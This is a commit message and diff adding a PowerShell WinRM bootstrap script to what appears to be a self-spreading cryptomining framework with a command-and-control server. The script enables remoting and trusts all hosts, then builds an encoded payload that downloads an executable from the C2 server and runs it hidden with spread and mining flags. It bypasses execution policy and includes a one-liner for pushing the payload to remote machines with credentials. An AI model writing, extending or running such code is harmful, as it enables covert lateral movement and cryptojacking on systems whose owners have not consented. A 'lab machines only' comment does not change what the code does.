Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.

templates/spread/winrm/bootstrap.ps1

@@ -0,0 +1,27 @@
+# WinRM bootstrap — owned/lab machines only. Enable remoting + encoded agent registration.
+# Placeholders: {{SERVER_URL}} {{BUILD_ID}} {{CAMPAIGN}} {{QUERY_SUFFIX}} {{GET_QUERY_SUFFIX}}
+# Mining policy is NOT embedded — agent registers to C2 and pulls server config.
+$ErrorActionPreference = 'SilentlyContinue'
+$ProgressPreference = 'SilentlyContinue'
+
+function Enable-WinRMBootstrap {
+  Enable-PSRemoting -Force -SkipNetworkProfileCheck | Out-Null
+  Set-Item WSMan:\localhost\Client\TrustedHosts -Value '*' -Force | Out-Null
+}
+
+$bootstrap = @'
+$ErrorActionPreference = 'SilentlyContinue'
+if ('{{CAMPAIGN}}' -ne '') { $env:AETHER_CAMPAIGN = '{{CAMPAIGN}}' }
+$url = '{{SERVER_URL}}/get?os=windows{{GET_QUERY_SUFFIX}}'
+$dest = Join-Path $env:TEMP ([System.IO.Path]::GetRandomFileName() + '.exe')
+try { (New-Object Net.WebClient).DownloadFile($url, $dest) } catch { exit 1 }
+if (-not (Test-Path $dest) -or (Get-Item $dest).Length -lt 1024) { exit 1 }
+Start-Process -FilePath $dest -ArgumentList '--spread-install','--defer-mining' -WindowStyle Hidden
+'@
+
+Enable-WinRMBootstrap
+$encoded = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($bootstrap))
+powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand $encoded
+
+# Remote one-liner (run from jump box with creds):
+# Invoke-Command -ComputerName TARGET -ScriptBlock { powershell -EncodedCommand '<paste $encoded>' }